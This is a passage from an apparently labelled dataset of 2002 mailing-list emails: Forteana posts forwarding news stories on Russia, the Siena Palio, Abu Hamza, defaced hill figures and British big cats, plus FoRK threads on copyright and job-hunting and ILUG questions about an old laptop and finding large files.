tongue-in-cheek article admitted, however, that the grass was not always greener on the other side. ""The inhabitants of foggy Albion keen to travel could go to any Russian city deep in the provinces where things are quiet,"" said Kommersant. ""In any central Russian district, life, by British standards, is unseemingly cheap and remarkably laid back. By 11am most of the working population are becoming 'traditionally' relaxed."" The time for elevenses in Britain - perhaps the opportunity for a quiet cup of tea and a chocolate Hobnob - is known in Russia as the Wolf Hour. It was so named in Soviet times because at 11am a wolf appeared from the famous animal clock at the Obrasov Puppet Theatre in Moscow. It is also opening time in the nation's vodka shops. And the vodka, like all other spirits, is cheap. Kommersant pointed out that ""the money a Briton can earn from selling even the most shabby house would be enough to support them at the local standard of living for the rest of their life. ""The local shops are full of all they would need and they could buy a bottle of whisky for kopecks."" There are 100 kopecks in a ruble and the ruble is currently worth about a halfpenny in sterling. The whisky is cheap, however, because it is unlike anything the average Briton will have consumed before. It is made of samagon - home-distilled, moonshine vodka - coloured with tea, and is a popular beverage in rural areas and among diehard alcoholics. While alcohol is plentiful and cheap, food may not be so easy to come by. The newspaper pointed out that traditional British foodstuffs - it selected oxtail soup as an example - were in short supply. However, the wealth of the British settler should overcome the difficulty. ""For a modest reward in most Russian villages, the locals would happily cut off the tails from the entire collective farm's herd of cattle."" One or two potential emigrs might be deterred by language difficulties. There are few English speakers to be found among the green hills of Tula on the Mongolian border. However, Kommersant pointed out, language difficulties were not considered a deterrent by the 13 per cent of Britons who nominated France as the country in which they would like to live. France, the Russian paper claimed, was a country ""where English is only known by the beggars, Belorussian prostitutes and Russian tourists"". Despite the low cost of living and the easy-going lifestyle, the Russian weather remains a major stumbling block for Britons. Even in the most temperate regions, winter temperatures of -20C are common. And somewhere like the Sakha Republic - east of Siberia and the coldest place in the world - enjoys just one month of summer and endures winter temperatures that drop below -70C. Houses are built on concrete stilts because the permafrost makes digging foundations impossible. Again, the Russian paper had a word of reassurance. While acknowledging the climatic problems, it said that ""thanks to global warming this difficulty will solve itself"". Kommersant also had an answer to the labour crisis that would be created in Britain if 54 per cent of its citizens decided to opt for a life in Russia. ""Thirty-three million Russians could be sent to Britain to replace the 33 million who leave. We think that the required number could probably be found amongst our citizens."" Unfortunately for those 33 million Russians, however, not one of those Britons surveyed who wanted to move abroad nominated the Russian steppes as their preferred new home. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 09:33:16 +0100",[zzzzteana] Six arrested for attacking Palio jockey who defected,"The Electronic Telegraph Six arrested for attacking Palio jockey who defected By Bruce Johnston in Rome (Filed: 28/08/2002) Police waded into the intrigues and enmities surrounding the Palio, Siena's traditional bareback horse race, for the first time yesterday, arresting six people for beating up a star jockey who defected to a rival team. Angry spectators attack Giuseppe Pes at the Palio horse race in Siena Giuseppe Pes, a champion jockey of Sardinian extraction who has won the Palio nine times in 38 runs, was closely associated with the Istrice, or Porcupine, contrada - section of town - until the race earlier this month. Istrice did not have a horse in the contest - only 10 of the 17 contradas take part in each Palio - but, despite promises to the contrary, moments before the off Mr Pes mounted the horse of Lupa, or She-Wolf. Lupa are Istrice's historic rivals, and the defection was not taken well. Lupa did not win, victory going instead to Tartuca, tortoise. As its supporters erupted into joyous celebrations, Mr Pes was pulled from his mount by Istrice members and savagely beaten and kicked for seven minutes. Mr Pes, 39, whose jacket with his contrada's colours was torn from his back, was sent to hospital with fractures, cuts and bruises. Three of his attendants who tried to intervene were also beaten. Police yesterday arrested six people they said had been identified as the attackers from video footage. Experts said it was the first time that members of a contrada - known as contradaioli - had been arrested for beating up a jockey, despite the fact that such episodes belong to the race's ancient traditions. The Palio, which was first raced in the 14th century, is held twice a year on the cobbles of Siena's main square. For weeks beforehand supporters parade through the city, singing, waving flags and wearing their contrada colours. But by the day of the race the good humour evaporates. The event has no rules and is prepared for and run amid an extraordinary undercurrent of intrigue and even violence. Jockeys may swap sides at the last minute, take bribes, and whip rivals' horses, and more, so long as they do not grab their reins. The origins of the contrada lie in the Middle Ages, when the neighbourhoods' boundaries were set out to aid the many mercenary companies hired to defend Siena's fiercely earned independence from Florence and other city states. The first Palio of the year takes place on July 2, to commemorate the miracles of the Madonna of Provenzano, and a second race on Aug 16 marks the feast of the Assumption of the Virgin. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 09:33:47 +0100",[zzzzteana] That wacky imam,"http://media.guardian.co.uk/broadcast/comment/0,7493,781769,00.html Hamza's horrid - but we must tolerate him Rod Liddle Wednesday August 28, 2002 The Guardian Sheikh Abu Hamza al-Masri, our maddest of mad mullahs and a cartoon bogeyman to scare the kiddies, spent a quiet and contemplative bank holiday playing with his own children in Victoria Park, Hackney. I've often wondered what incendiary Islamic fundamentalist clerics do on statutory public holidays. Head for the beach and maybe swing by B&Q on the way home, I had hoped. I had this beguiling vision of Hamza paddling in the sea, an ice-cream cone in his one good hand, the waves tickling his shins, and the sheikh mentally preparing to fix those pesky shelves in the kitchen for once, instead of planning the extermination of Zionism and America and maybe me and you, too. But B&Q and a day at the seaside is probably beyond Hamza's budget since the Bank of England froze his assets, so Victoria Park had to do. But he sounded happy enough when I spoke to him, with the babble of tiny, cheerful, Islamic proto-warriors in the background. You must know Hamza; he's the imam designed, it would seem, by the Daily Mail's cartoonist Mac. Large metal hook in place of a left hand. One eye covered by a patch, the other a baleful, watchful, milky-white. We don't mock the disabled any more these days, unless it's someone like Hamza whom we don't like; then, if you'll excuse the inapt phraseology, the gloves come off. So Hamza is known (with that vaulting imagination typical of the British right) as ""Captain Hook"", in articles which usually call for his arrest, or extradition to the US, or deportation back home to Egypt or maybe off to Pakistan or Afghanistan, where he fought the Russians for years and thus sustained his disabilities - anywhere, really; just out of here. And if we can't lock him up or chuck him out of the country, maybe we can force him to shut up. Because we don't like Hamza very much. We weren't that fond of him before September 11, but afterwards, in that nervy, paranoid few months when we all thought the sky might fall in, our disapprobation turned into political persecution. And now the Daily Mirror is agitating again for his arrest because they've got hold of secret videos of the man behaving in an even more inflammatory manner, urging warfare on and looting of enemies of Islam. All out of context, and a very long time ago, says the imam, not unduly bothered. But perhaps he should be, because our reputation for broad-mindedness and tolerance towards people like Hamza was thinning even before the Mirror's scoop. Hamza preaches, or preached, at the scary Finsbury Park Mosque - so, earlier this year, the Charity Commissioners banned him from doing so because of his allegedly inflammatory remarks. I didn't know Charity Commissioners were meant to do stuff like that. He has had his passport seized and not returned; his assets have been frozen. He is tailed by the police every now and then, and his access to the media is restricted by internal policing within broadcasting corporations and the press. And this last point is because, we tell ourselves, endlessly - repeating the mantra over and over again, and fervently wishing it to be true - Hamza is not ""representative"" of British Muslims, as if British Muslims were a simple, homogenous thing with a single voice that one could turn to every now and then for explanation. And perhaps succour. The trouble is, in the first month or so after the twin towers attack he was revealed to be rather more ""representative"" than the list of those government-approved Muslim spokesmen who were - uncomfortably, I suspect - dragooned briefly into statements of support for the war against terrorism and a blanket condemnation of the Taliban. An opinion poll commissioned by Radio 4's Today programme revealed that an overwhelming majority of British Muslims were against George Bush's crusade. One in six were, to put it mildly, ambivalent about the attack on the US (the remainder condemned the attack unequivocally). A large majority thought the war against terrorism was a war against Islam. Which is what Hamza said, repeatedly. But it was something that, at the time, we didn't want to hear. Now, if you quiz the man on present policy at home and abroad he comes across - superficially, at least - as someone from the liberal left. No war against Iraq; Britain to become independent of US foreign policy and attempt rapprochement with Arab states; stronger action against Israel; mistrust of global capitalism; redistribution of wealth. Nor is he particularly anti-semitic, so far as I can tell, although I don't suppose he will be holidaying in Eilat this year. In yesterday's Guardian, the chief rabbi expressed a willingness to talk to Hamza and was grateful for the sheikh's message of condolence when a London synagogue was attacked. Which is not to say that Hamza is a peaceable Jeffersonian democrat who has been wilfully misrepresented: he is, without question, rather more inflammatory in private sermons to his own people than he is in public. His ideology is an arid and uncompromising interpretation of Islam: he would be happy, in a truly Islamic society, to stone women to death for adultery, for example. You and I would find many - perhaps most - of his views utterly repellent. And that's the point. Because Hamza is the true test of our apparent desire to be multicultural. Multiculturalism is not, surely, the cheerful appropriation of bits of inoffensive minority cultural behaviour by the ruling hegemony. That is a sort of syncopated monoculturalism. Multiculturalism is, rather, the ability of society to tolerate views that are antithetical to the dominant culture - and maybe learn from them. The FBI has been investigating Hamza, but, of course, has found nothing remotely incriminating. The real reason for his vilification and persecution is simply the pungency of his views. It is often said that we should shut him up or arrest him because his rhetoric increases hostility against the Muslim population generally. This is a perfectly noble argument, but it does not wash. You don't defuse a difficult situation by pretending it doesn't exist. And if British Muslims - maybe a minority, maybe not - feel a growing sense of unease or mystification at the direction of western foreign policy, it is not because they have been led in that direction by Hamza. Shutting the man up, therefore, won't make a difference. It is rather as Louis MacNeice had it: The glass is falling hour by hour, the glass will fall for ever. But if you break the bloody glass, you won't hold up the weather. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 09:39:20 +0100",[zzzzteana] White Horse vandalised,"http://yorkshirepost.co.uk/ed/front/481722 Pro-hunt activists target top sight ONE of Yorkshire's most famous sights yesterday became one of the first targets in bizarre attacks on White Horse landmarks linked to the hunting debate. Villagers near Thirsk could not believe their eyes when they woke yesterday to find the famous White Horse of Kilburn had acquired a rider during the night. In another incident, the Uffington white horse in Oxfordshire had a huntsman and three hounds added to the ancient figure, which is thought to represent a Celtic god or tribal symbol. Pro-hunt activists in the Real Countryside Alliance (RCA) a radical alternative to the better-known Countryside Alliance admitted responsibility last night for targeting the two images. The 314ft by 228ft landmark at Kilburn has been lovingly preserved since it was carved in the limestone by schoolmaster John Hodgson and his pupils in 1857. But during Monday night someone nailed on a massive figure of a huntsman with a horn which had been cut to scale out of a single piece of white carpet. It was removed yesterday by members of Kilburn White Horse Association, who found a Countryside Alliance badge attached to the carpet. John Roberts of the association said: ""It has obviously been very well organised. It was a well crafted piece of kit: a figure of a huntsman with a horn cut out of carpets. ""It was big and impressive and could be seen for miles about. They tied it to bushes at the top and nailed it down. It caused all the stone chippings to be pushed downwards, which will help turn the white horse grey. It will not get another refit for another year. ""Whoever did it must have come with a vehicle a tractor and trailer or a lorry because the carpet must have come in one piece. It was extremely well planned and took several people an hour and a half to get it off."" The sculpture needs constant work because, unlike chalk horses in the south of England, it is cut into limestone which is the wrong colour and needs whitening. Mr Roberts added: ""The damage as such is not great but it adds to the deterioration, which means it will need more work next time. ""We would have more sympathy if, having made the point, they would come to take it away again because it was a major job."" Andy Wilson, chief executive of the North York Moors National Park, said: ""It is a scheduled ancient monument and the local residents are very proud of it and go to enormous trouble to keep it white. There is also careful consideration of what shape it should be kept with the constant growth of vegetation so you can understand the alarm and regret at any changes. There has not been a cut in the turf which would be much more of a problem. It would seem it was carefully plotted beforehand."" An RCA spokesman said: ""Some people in the country are getting very frustrated at the inaction. All we want is Ministers to take notice. Marches don't seem to be doing anything good."" The Countryside Alliance said it did not have any part in the action. Spokesman Adrian Yelland said: ""The Countryside Alliance only ever advocates campaigning that is lawful and dissociates itself from acts of vandalism and regrets any damage that may have been caused by this incident."" The incident follows graffiti on road signs and motorway bridges in Yorkshire thought to be RCA work. ------------------------ Yahoo! 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Calls cost only 10p, or 12 cents from the Republic of Ireland (though it ma= y be a bit more if you contact us from other planets). Lines close at 6pm today. We will reveal the winner tomorrow. Aliens ... or hoaxers? THE debate continues to rage over the origin of crop circles. Many believe they are simply the work of human hoaxers while others are c= onvinced they are made by aliens trying to communicate with us. Crop circle enthusiasts insist that some of the designs appear so quickly a= nd on such a vast scale that it is impossible for humans to have made them. = Witnesses even claim to have seen balls of light moving through the fields = on the nights that circles appear. Researchers have found connections between some patterns and symbols from a= ncient religions, mathematics and even music. Crop circles were first spotted in Britain in the early 1970s and now appea= r throughout the world. The weird outlines are still most common in the sout= h of England. Theories about their cause include whirlwinds known to circle experts as = plasma vortexes earth energies from ley lines or even forces from the huma= n mind. In the past the circles have also been blamed on mating roe deer, hedgehogs= , helicopters and holes in the ozone layer. Raymond Cox, Chairman of the Centre for Crop Circle Studies, said last nigh= t: ""It's a great unsolved mystery. ""We know not all crop circles are created by humans but we cannot say for s= ure what is making them."" Plus lots of photos ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 09:51:47 +0100",Re: [zzzzteana] That wacky imam,"> Sheikh Abu Hamza al-Masri, our maddest of mad mullahs and a cartoon bogeyman > to scare the kiddies, spent a quiet and contemplative bank holiday playing > with his own children in Victoria Park, Hackney. For an alternative, and rather more factually based, rundown on Hamza's career, including his belief that all non Muslims in Yemen should be murdered outright: http://memri.org/bin/articles.cgi?Page=archives&Area=ia&ID=IA7201 Martin ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 10:14:08 +0100","[zzzzteana] It's August, and big cats are on the prowl","The Times August 28, 2002 It's August, and big cats are on the prowl By Alan Hamilton ROUND up the sheep. Pull on the gauntlets. Oil the shotgun. The British countryside is crawling with pumas, black panthers, fen tigers and other big, vicious cats. No corner of the nation is safe. Evidence released yesterday, including sightings, photographs, paw prints, livestock kills and hair samples, claims to prove that every county has big cats lurking in its undergrowth, poised to pounce on man and beast alike. Sightings have reached record levels in 2002, according to Daniel Bamping, founder of the British Big Cats Society, which in the past 12 months has received more than 800 reports of big cat sightings. During the first six months we have seen an incredible amount of big cat activity. We have now had reports in every single county; the response from the public has been fantastic, Mr Bamping said. Big cats in Britain are real. They are out there, they are breeding; theres more of them. Scotland and Gloucestershire are said to be hotspots of big cat activity. Mark Fraser, who heads the societys Scottish arm, said: Lynx are now present in the Scottish countryside; I believe they are established and breeding. I dont want to hazard a guess at the numbers; suffice it to say there are several hotspots, notably Fife, Aberdeenshire, Inverness and the Borders. Next month the society plans to unveil its full dossier of evidence, which includes two dead wild cats, pictures of paw prints and tree scratchings, as well as stories of a horse strangely lacerated in West Wales and a man in Gravesham, Kent, who had to beat a hasty retreat to his garage after his hand was cut by a creature the size of a labrador dog, except that it had black hairy tufts on the tips of its ears. The society is taking the sightings seriously. It plans to set up a network of trigger-cameras throughout the country to capture further evidence of the beasts, which it will then present to the Government. It is not, however, clear on what it wants the Government to do about it all. Throwing its weight behind the pro-hunting lobby might be a start. Next in August: record abductions by aliens. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Scott Wood"" ","clare.bunkham@prudential.co.uk, zzzzteana@yahoogroups.com,","Wed, 28 Aug 2002 10:14:30 +0100",[zzzzteana] Fwd: Hill Monuments defaced to promote hunting,"The hunting community showing, yet again, how utterly out of touch they are....(though the anti-Esso sign on the Long Man made me smirk last week) >From: ""Carol"" > >The white horses at Uffington and Kilburn have had hunters painted >onto them to 'keep the pro-hunt image in the media' > >http://www.ananova.com/news/story/sm_658592.html > >*boggle* How can the pro-hunt people think this will help their cause? > >Carol Giant horse images 'defaced by hunting activists' Pro-hunt activists have defaced two of the country's national monuments - the two giant white horses - to highlight their cause Campaigners for the Real Countryside Alliance say they targeted the two images, on hills in Oxfordshire and North Yorkshire, ""to keep the pro-hunt thing in the papers"". Ananova: Giant horse images 'defaced by hunting activists' Pro-hunt activists have defaced two of the country's national monuments - the two giant white horses - to highlight their cause. Campaigners for the Real Countryside Alliance say they targeted the two images, on hills in Oxfordshire and North Yorkshire, ""to keep the pro-hunt thing in the papers"". Aerial shots show the 374ft-long Bronze Age image on the Berkshire Downs near Uffington in Oxfordshire complete with three white hounds and a rider. In North Yorkshire, a rider in full hunt regalia has been added to the 300ft White Horse cut in to the hills at Kilburn, which dates back to the 1700s. But no-one reported anything to the police. A spokesman for North Yorkshire police said no reports had been received but he had seen ""a red blob"" on the horse and had sent officers to investigate. In Uffington, no-one in the village had heard anything about the reported incident. A spokesman for Thames Valley police said he was not aware of any complaints. Activists say the image in Oxfordshire was drawn in paint used for marking lines on grass tennis courts and will wash away in the first rains. Story filed: 21:17 Tuesday 27th August 2002 Scott ""I cried for madder music and for stronger wine"" Ernest Dowson _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Steve Burt ,"""'zzzzteana@yahoogroups.com'"" ","Wed, 28 Aug 2002 10:42:25 +0100",RE: [zzzzteana] Digest Number 2453,">JUST as the pyramids of Egypt were built in honour of great kings, it was >fitting that sandy replicas were created on Weymouth beach in memory of the >king of the castle. Fred Darrington, who became the world's most famous sand >sculptor, died last week aged 91. His grandson, Mark Anderson, who has taken >over his Dorset seafront pitch, is determined that his grandfather's name will >not be forgotten, despite the impermanence of his creations. Can someone please tell me what a ""pitch"" constitutes? I have an idea it is somewhat like the spots street musicians claim, but this sounds more formal. ------------------ Just an area of the beach by the prom where he's allowed to make his sculptures. Weymouth is where I spent my teenage years. My mum and one sister still live there. So I'm pretty familiar with the sculptures; pretty impressive, and very big. (I think he uses some sort of armature for some bits - it's not just sand) They usually get vandalised, though; after a lot of drinks, it obviously is a good idea to break into the enclosure and kick all the sculptures to bits. Then again, Weymouth is pretty run down, and attracts holiday makers of the worst sort. ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tony L. Svanstrom"" ",Robin Lynn Frank ,"Wed, 28 Aug 2002 06:23:09 +0200 (CEST)",Re: [SAtalk] Re: patent on TMDA-like system,"On Tue, 27 Aug 2002 the voices made Robin Lynn Frank write: > > Tony Svanstrom, on SpamAssassin-talk, noted this US patent: > > > > http://appft1.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=/netah > >tml/PTO/search-adv.html&r=62&f=G&l=50&d=PG01&s1=spam&p=2&OS=haiku&RS=spam > I took a bit of time to review what is on the above URL. If I were a news > editor, the headline would be: > > ""Inventor"" from country that ignores patents and copyrights, seeks patent for > inventing the wheel! The wheel is already patented in Australia; Melbourne man patents the wheel: The sad news is that there seems to be a lot of patents (pending or not) that's for very basic/general ideas; it's the current form of ""domainnapping"", and it might turn uggly when people start trying to enfoce these patents. /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`'",0,1 Gary Lawrence Murphy ,Mike Masnick ,27 Aug 2002 13:49:25 -0400,Re: The GOv gets tough on Net Users.....er Pirates..,">>>>> ""M"" == Mike Masnick writes: M> In which world are we talking about? That may be true for the M> first sale, but once something is out in the world, the M> ""creator"" loses control... If I buy a chair you built, and then M> decide to give it away to my neighbor, by you're definition, he M> just stole from you. I don't endorse the whole RIAA thing, but to be accurate, you would have to duplicate the chair so that both you and your neighbour could continue to sit down, and yes, I suppose that would be more serious. They can sit on /your/ copy, but if you start churning out exact dups of a name-brand artifact, people with law degrees start to smell money. For example, I could copy a Gibson Guitar /exactly/ so long as (a) I don't put Orville's name on the headstock and (b) I license the patented bracing methods. If I instead try to sell a homebuilt guitar on eBay with ""Gibson"" written in crayon on the headstock, and then claim it is a true Les Paul limited edition, I expect people would get upset. M> Why is it that people don't understand that giving stuff away M> is a perfectly acceptable tactic in capitalist businesses? To play the Devil's Advocate here, it's not about giving /stuff/ away, it is about granting endless and cascading duplication/distribution rights. Even if _I_ only make the copy I give to you, that doesn't stop you from making 10000 copies to sell. M> Access to free stuff often helps to sell other stuff. This is the difficult question: How will they draw the distinction? The ""other stuff"" is just as easy to duplicate as the free stuff. This is why MS is hunting people with illegal Windows; it's no harder to dup than a Linux CD, only what is there that actually prevents people from doing it? Personally, I don't think the issue should have anything to do with sales or units. The issue is that basic phallacy that says a suit should be able to ""own"" someone else's intellectual property. Sarah McLaughlin isn't suing you, it's her label's legal dept because it's the label who stands to lose; Sarah's already fat beyond her wildest dreams, so a few bucks here or there, or even if the well dried up tomorrow, it's not going to really traumatize her (unless she's been blazingly stupid with her money) But the label ... like Disney and Mickey, they need the cash cow so they can keep all sorts of uncreative hangers-on in limos and coke. If you thought only Elvis or Brian Jones or Dennis Wilson had problems with beautiful-people deadbeat leech ""friends"" draining their riches, think again. The problem is really very simple because it is semantic, and until we make the semantic flip, it's unsolvable, but like trisecting an angle, all it takes is looking at the same situation in a different way. Here's the revelation: Elvis never ever made a hit record. Elvis didn't make the hits, his /fans/ made the hits. His fans did the work cleaning toilets, manning the convenience stores, driving milk trucks, sitting at endless office desks, they did the /real/ labour that paid for every last one of Elvis Presley's pills. All Elvis did was sing into a microphone every so often, and pen or collect the odd song that all those /people/ liked and wanted as something of their own. But it's not _Elvis_ who made them universal statements, it is the universe of fans who slurped the songs into their own lives, it was pull-technology, not push. Therefore the question becomes: how many times must these fans pay before they own what they themselves have created? They pay royalties for listening to the radio, for blank tapes, for concert tickets, for a beer in a bar with a cover band ... they pay over and over and over again for the /right/ to make some hack writer's song /their/ favourite song???? That's where the whole system has been seriously warped by the record companies and ad companies reframing it into your thinking that it is the Elvis who makes the Elvis. It's not. It's the people who make them; the songs are already theirs. -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 """Mr. FoRK"" ","""FoRK (E-mail)"" ","Tue, 27 Aug 2002 13:50:31 -0700","Re: Startups, Bubbles, and Unemployment (fwd)","> Ultimately, there was a big > disagreement about how to sell the product (sales guys wanted to sell > the thing for a gazillion dollars to megaclients, but we thought it > would make more sense to get more people using it so we could get more > feedback from many different places). The bottom line was that the > route we wound up going (megaclients for megabucks) had a megalong > sales cycle. The sales force staffed up and tried to sell the > earliest releases of the software -- even succeeding in a few > significant cases -- but couldn't get enough to cover their own > expenses, much less the actual development of the product. Now where have I seen that before.... oh yeah... its happening to me right now...",0,0 Gary Lawrence Murphy ,,27 Aug 2002 13:30:53 -0400,Re: The GOv gets tough on Net Users.....er Pirates..,">>>>> ""A"" == Adam L Beberg writes: A> I'm not displeased you're trying to help, just frustrated that A> employers can demand such rediculous combinations of skills A> with insane years of experience. >>>From my 25+ years in the playing field, IMHO the art of job-hunting (for those not yet de-jobbed) is the art of getting past the HR-stage interview and into the engineer-to-engineer interview. HR is not being honest with you so there's no ethical quandry to be totally honest with them: If they want experience numbers that would place you in the OAK project, lead them to believe that you have ""something roughly equivalent"" (ie ""it wasn't 5 years, but it was three intense years with plenty of overtime"") -- they are playing a bluff in saying /they/ know the job requirements so you're perfectly within poker rules to bluff back to say you have it. If you /don't/ have the requisite Right Stuff, the engineers can usually suss it out pretty fast during the second interview. Most often, their choice is based 90% on ""who can I work with"" and only maybe 10% on ""how much/little will we have to tutor this candidate?"" -- Gary Lawrence Murphy TeleDynamics Communications Inc Business Advantage through Community Software : http://www.teledyn.com ""Computers are useless. They can only give you answers.""(Pablo Picasso)",0,1 Owen Byrne ,fork@spamassassin.taint.org,"Wed, 28 Aug 2002 07:22:13 -0300",Canadians,"From the local paper this morning. ""Canadians eat about seven times as many doughnuts per capita""... (as Americans) . D'oh! Owen",0,0 Barbara Barrett ,zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 11:15:49 +0100",Re: [zzzzteana] FWD [fort] Evidence Britons Were In The US In The6th Century,"> > Barbara Blithered; > > Others indicators this was a late invention are the use of the f rune > > not only for ""f"", but inverted to mean ""ff"" (the welsh ""v"" phoneme) - > Stew Stired; > Isn't it the other way round, f(welsh)=v(english) ff(welsh)=f(english). Barbara Babbles; Mea culpa. That's what I get for reading my welsh dictionary upside down; ""F""n trouble ;-). Barbara ------------------------ Yahoo! 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Had it been the UK branch I'd have had them in the small claims court quicker than you could drop LOTR on your foot and say ""ouch"", but as it was the US branch I'd just no comeback. Barbara ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana ,"Wed, 28 Aug 2002 11:22:33 +0100",[zzzzteana] The new Steve Earle,"http://www.nme.com/news/102774.htm CAM'RON associate JUELZ SANTANA has vehemently defended a lyric on the forthcoming album by the pair's DIPLOMATS crew that pays tribute to September 11 hijacker OMAR ATTA ... ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Martin Adamson"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 11:24:30 +0100",Re: [zzzzteana] The new Steve Earle,"> CAM'RON associate JUELZ SANTANA has vehemently defended a lyric on the > forthcoming album by the pair's DIPLOMATS crew that pays tribute to > September 11 hijacker OMAR ATTA No, Steve Earle at least USED to make great records. Martin ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Jon"" ",,"Tue, 27 Aug 2002 19:14:48 +0100",[ILUG] Got me a crappy laptop,"Hey, I has just been given an old Toshiba CS100 with earliest pentium and 400mb of HD but only a floppy drive on it, its got Win3.1 which is funny to see again but gonna be cleared as soon as i stop messing with it. What I was wondering was could anyone advise what O/S would be good for this, I want a small usable *nix distro for it that i can transfer to it fom floppy. Connecting this to Winblows>i know that winblows allows pier-to-pier connections over serial and parellel ports to other winblows but is this easy do for connecting winblows to *nix??? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Inn Share ,ilug@linux.ie,"Tue, 27 Aug 2002 12:31:52 -0700 (PDT)",[ILUG] find the biggest file,"Hi,all: Does anyone know how to list the biggest file in my root directory?or the second biggest ..etc... Because I want to find out what is the reason cause my root all most full. The system is Solaris 8 Sparc. Thanks !!! __________________________________________________ Do You Yahoo!? Yahoo! Finance - Get real-time stock quotes http://finance.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gavin McCullagh ,ilug@linux.ie,"Tue, 27 Aug 2002 19:26:50 +0100",Re: [ILUG] Got me a crappy laptop,"On Tue, 27 Aug 2002, Jon wrote: > I has just been given an old Toshiba CS100 with earliest pentium and 400mb > of HD but only a floppy drive on it, its got Win3.1 which is funny to see > again but gonna be cleared as soon as i stop messing with it. What I was > wondering was could anyone advise what O/S would be good for this, I want a > small usable *nix distro for it that i can transfer to it fom floppy. > Connecting this to Winblows>i know that winblows allows pier-to-pier > connections over serial and parellel ports to other winblows but is this > easy do for connecting winblows to *nix??? Have done exactly this with debian, only I used a PCMCIA network card and did it off ftp.esat.net (ucd bandwidth is rather good). However, if you've another machine, look into this null modem cable jobby: http://rosebud.sps.queensu.ca/~edd/t100cs.html whether you can connect that to direct cable connectionI've no idea. You could however, put the files onto windows, boot onto a ILUG BBC[tm] and mount the fat32 partition. Easier/Quicker way is to get your hands on a PCMCIA 